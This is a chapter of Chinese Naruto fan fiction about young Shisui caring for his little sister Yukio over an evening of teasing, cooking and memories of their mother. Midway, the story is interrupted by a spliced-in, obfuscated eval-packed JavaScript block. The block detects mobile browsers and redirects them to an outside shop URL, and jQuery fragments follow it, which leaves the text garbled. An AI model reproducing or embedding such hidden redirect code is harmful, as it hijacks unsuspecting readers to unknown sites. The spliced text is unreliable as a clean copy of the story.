木叶隐村的傍晚，炊烟从各家各户的屋顶袅袅升起。升得最高的那户是秋道家，因为他们家晚饭的量是别人家的三倍。
宇智波族地南侧的一间和室里，七岁的宇智波止水正盘腿坐在榻榻米上，专注地擦拭着手里那枚略显陈旧的苦无。夕阳透过纸门，在他稚嫩却已显沉稳的侧脸上镀上一层暖色。
“哥——”
这一声拖得长长的呼唤从院子方向传来。止水的手顿了顿，随后若无其事地继续擦拭。
根据他积累的经验，雪绪这种叫法通常意味着三件事之一：饿了、闯祸了、或者饿了并且闯祸了。
“哥——！！！”
声音更近了，带着明显的撒娇意味，还夹杂着吧嗒吧嗒的脚步声。
止水依然不为所动，只是嘴角微微扬起一个不易察觉的弧度。
纸门被“哗啦”一下粗暴地拉开，一个扎着两个丸子头的小女孩冲了进来，额头上还沾着泥巴，脸颊红扑扑的，眼睛里却闪着狡黠的光。
“哥！你猜我刚才干什么去了？”四岁的宇智波雪绪双手叉腰，仰着小脸，一副等待表扬的表情。
止水终于抬起头，目光在妹妹身上停留片刻，然后平静地说：“又去田里捉青蛙了？”
雪绪的笑容僵在脸上：“……你怎么知道？”
止水指了指她的丸子头，“左边那个丸子里夹着片荷叶。”
雪绪伸手一摸，果然摸出一片皱巴巴的荷叶。她撇撇嘴，把那片荷叶往哥哥脸上一扔，却被止水轻巧地躲过，顺手接住。
“这片荷叶长得不错，”止水端详了一下，“正好可以包明天带的饭团。”
雪绪顿时忘了生气，凑过来好奇地问：“饭团？你做的吗？”
“嗯。你想吃什么馅的？”
“梅子的！还有……还有……”雪绪歪着脑袋想了想，“鲑鱼的！不对，我要两个梅子的！”
“好。”止水把荷叶放在一旁，又拿起苦无继续擦拭。
“等等！”雪绪突然警觉，“你是不是在转移话题？我刚才问你为什么知道我抓青蛙！”
止水继续擦拭苦无，语气平淡：“因为你每次抓完青蛙都是这个造型。上次是左边袖子有泥，上上次是右边脸蛋有泥，这次是丸子头里长荷叶。”
雪绪被噎住了。
可恶，被拿捏了。
她决定换个话题，雪绪趴在他身边，托着腮看哥哥的动作。苦无在夕阳下反射出冷冽的光，可雪绪只觉得那光芒暖洋洋的，因为那是哥哥的手握着它。
“哥，”她突然开口，“你今天练习苦无投掷了吗？”
“练了。”
“练了几个小时。”
“两个。”
“骗人，”雪绪一骨碌爬起来，指着止水的手，“你的手指都没磨出茧子！上次我偷偷数过，你练习超过两个小时的话，这里——”她戳了戳止水右手食指的第一关节，“会红红的。”
止水愣了一下，随即轻轻笑起来。他笑起来的时候，眉眼弯弯的，明明还是个小少年的脸，却莫名让人觉得温柔又可靠。
如果宇智波一族有“别人家孩子”评选，止水大概能蝉联冠军到退休。
“雪绪，你观察得倒是仔细。”
“那当然！”雪绪骄傲地挺起小胸脯，“我可是要当忍者的！忍者就是要观察入微！”
“你才四岁。”
雪绪被噎住了，鼓着腮帮子瞪了哥哥一眼，然后突然想到什么，眼睛一亮：“那哥，你教我苦无投掷吧！”
止水的手顿了顿，沉默片刻才说：“等你再大一点。”
“为什么？！”雪绪不满地嚷嚷，“我都四岁了！隔壁的宇智波和也五岁就开始练习了！就比我大一岁！”
“和也是和也，你是你。”
“这不公平！”
“公平是什么？能当饭团吃吗？”
止水没有继续这个话题，只是伸手把妹妹头上歪掉的丸子头重新绑好。他的动作很轻，像是怕弄疼她似的。雪绪本来还想抗议，却被这温柔的举动弄得安静下来。
“雪绪，”止水轻声说，“我不是不让你学。只是……现在还不是时候。”
雪绪抬头看着哥哥。夕阳已经完全沉下去了，屋子里暗了下来，可哥哥的眼睛还是亮亮的，像是有两簇小小的火苗在里面跳动。
“哥，你在担心什么吗？”
止水的手顿了顿，随即若无其事地收回：“没什么。饿了吗？我去做饭。”
“我帮你！”
厨房很小，却收拾得井井有条。雪绪踩着小板凳站在水池边洗菜，止水在一旁切豆腐。水声、刀声，混着窗外渐渐响起的虫鸣，织成一曲寻常的傍晚协奏曲。
“哥，”雪绪突然开口，“我们以后会一直这样吗？”
“怎样？”
“就是……一起吃饭，一起睡觉，你教我东西，我帮你洗菜。”雪绪低着头，认真地把一片菜叶上的泥点搓掉，“一直一直。”
止水切菜的动作停了停。他没有立刻回答，而是继续把豆腐切成均匀的小块，然后才说：“会的。”
“真的？”
“真的。”
雪绪满意地点点头，然后把洗好的菜举高高递给哥哥：“那说好了！你要是骗我，我就……我就把你最爱的烤鱼全部吃掉！”
止水接过菜，嘴角微微上扬：“你最爱的也是烤鱼吧？”
“……那我们一起吃掉！”
厨房里渐渐飘出味噌汤的香气。雪绪趴在矮桌边，看着哥哥把饭菜一样样端上来。烤鱼、味噌汤、腌萝卜，还有一碟她最喜欢的玉子烧。
“哥，你今天怎么做了玉子烧？”雪绪眼睛亮晶晶的，筷子已经迫不及待地伸了过去。
“因为你今天帮隔壁婆婆送东西，跑了一下午。”止水在她对面坐下，“听说你还帮她把院子里的枯枝都捡了。”
雪绪一愣，嘴里塞满了玉子烧，含糊不清地问：“你怎么知道的？”
“回来的路上遇到婆婆，她夸你来着。”止水顿了顿，“还问我你家这个小姑娘是不是属猴的，爬树捡枯枝比猫还快。”
雪绪得意地晃了晃小脑袋，把玉子烧咽下去，又夹了一块烤鱼：“那当然！我可是很能干的！”
止水笑了笑，慢慢吃着自己的那份。他吃饭的动作很安静，筷子从不发出声音，米饭也一粒粒吃得干净。
雪绪却不一样，乐嘻嘻的说着今天在田里看到的大青蛙、隔壁家那只懒洋洋的三花猫、还有练习场上那些正在训练的下忍哥哥们有多厉害。
“有一个哥哥，扔苦无可准了！”雪绪比划着，“‘嗖’的一下，正中红心！好厉害！”
止水夹菜的手顿了顿：“你跑到演习场去了？”
“就……在边上看了看……”雪绪的声音低了下去，偷偷瞄了哥哥一眼，“藏在草丛里，没被发现。”
“演习场很危险。苦无不长眼睛。”
“可我长眼睛了啊。”
止水沉默了一秒。
这个逻辑，他竟然一时不知道怎么反驳。
“下次想去看，”他选择无视那个歪理，“叫上我一起。”
雪绪愣了一下，随即眉眼弯弯地笑起来：“好！”
吃完饭，雪绪主动帮忙收拾碗筷。她端着自己的小碗往厨房走的时候，突然停下来，回头看着正在擦桌子的止水。
“哥，你明天带我去练习场玩呗。”
止水淡淡看她一眼，嘴角含了几分笑意：“我就说怎么这么主动帮忙，原来在这等着我呢。”
雪绪嘿嘿一笑，蹭到止水旁边撒娇。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297029|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
止水受不了她这一套小连招，想了想：“可以。不过不许乱跑。”
“好！”雪绪开心地把碗放进水池，又跑回来，仰着小脸说，“嘿嘿，果然，我还是最喜欢哥哥了！下次带着你一起去抓青蛙！”
“抓青蛙做什么？”止水不解。
“养啊！我今天看到一只特别大的，要是养起来，说不定能长成□□老大那样！”
止水失笑：“□□老大是通灵兽，不是田里的青蛙能长成的。”
“万一呢？”雪绪不服气，“万一它就长那么大了呢？”
“那你准备养在哪里？”
雪绪认真地想了想，然后指着院子角落那个废弃的小水缸：“那里！我给它造个池塘！”
“然后它长大以后一屁股坐扁我们房子？”
雪绪愣住了。
这个可能性，她倒是没想到。
“……那我可以训练它坐别人家房子。”
止水沉默了。
他开始认真考虑要不要给妹妹报个思想品德班。
“先抓到再说吧。”他决定终止这个话题。
雪绪得到了默许，欢呼一声，又开始叽叽喳喳地计划起她的“青蛙池塘改造工程”。止水一边听，一边把碗筷洗干净，擦干手，然后从柜子里拿出针线包。
“哥，你要做什么？”雪绪凑过来。
“你衣服的袖子开了，缝一下。”
雪绪低头看了看自己的袖子，果然，右边的袖口裂了一道小口子，不知道是爬树还是捉青蛙的时候勾破的。她有些不好意思地挠挠头：“我都没发现……”
止水已经穿好了针线，示意她把手伸过来。雪绪乖乖地坐在他面前，看着哥哥低着头，一针一针仔细地缝合那道裂口。
他的手指很稳，针脚细细密密的，和她想象里母亲缝的几乎一模一样。
母亲。
雪绪突然安静下来。
止水察觉到她的沉默，抬头看她：“怎么了？”
雪绪摇摇头，又点点头，最后小声说：“哥，妈妈……是什么样的人？”
止水的手停了停，随即继续缝合的动作，声音很轻：“妈妈啊……头发和你一样，软软的，黑黑的。笑起来的时候，眼睛弯成两道月牙。”
“像我吗？”雪绪摸了摸自己的丸子头。
“像你。”止水缝完最后一针，打个结，用牙咬断线头，“她如果还在，看到你这么能吃，一定会很高兴。”
雪绪眨眨眼：“为什么？”
“因为她说，能吃是福。”止水轻轻抚平缝好的袖口，“她以前总担心我吃得太少，说我像个仙鹤，吃饭只啄三粒米。”
雪绪想象了一下那个画面，忍不住笑出声：“那你现在吃得多吗？”
“你看呢？”
雪绪看了看哥哥——七岁的小孩，身板确实不算壮实，但也绝对没有仙鹤那么夸张。
“一般般多。”
“那你知道为什么吗？”
“为什么？”
“因为有个小饭桶天天抢我的玉子烧。”
雪绪一愣，随即反应过来，扑上去捶哥哥：“我才不是饭桶！我那是帮你吃！帮你！”
止水笑着躲闪，兄妹俩在榻榻米上滚成一团。
闹够了，雪绪趴在止水旁边，突然认真地说：“哥，我以后一定会很能吃的。”
“……这有什么好宣誓的。”
“因为这样你就会高兴啊。”雪绪眨眨眼，“妈妈不是说能吃是福吗？我多帮你吃点福气。”
止水愣了愣。
他看着妹妹亮晶晶的眼睛，那双眼睛和母亲的一样，弯起来的时候像两道月牙。
“……好。”
他伸手揉了揉妹妹的头发，软软的，黑黑的，和记忆里的一样。